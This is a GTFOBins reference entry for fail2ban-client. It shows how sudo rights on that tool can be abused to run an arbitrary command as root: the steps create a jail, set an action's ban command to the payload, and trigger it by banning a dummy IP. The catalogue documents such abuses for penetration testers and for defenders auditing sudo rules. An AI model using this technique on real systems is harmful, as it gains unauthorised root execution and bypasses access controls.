GTFOBins.github.io/_gtfobins/fail2ban-client.md

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2022-11-14 00:07:36 +01:00
---
description: |
The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess (it will hang the `banip` command until the subprocess returns.
functions:
sudo:
- code: |
COMMAND="id"
sudo fail2ban-client add woot
sudo fail2ban-client set woot addaction wootaction
sudo fail2ban-client set woot action wootaction actionban "$COMMAND"
sudo fail2ban-client start woot
sudo fail2ban-client set woot banip 999.999.999.999
sudo fail2ban-client set woot unbanip 999.999.999.999
sudo fail2ban-client stop woot
---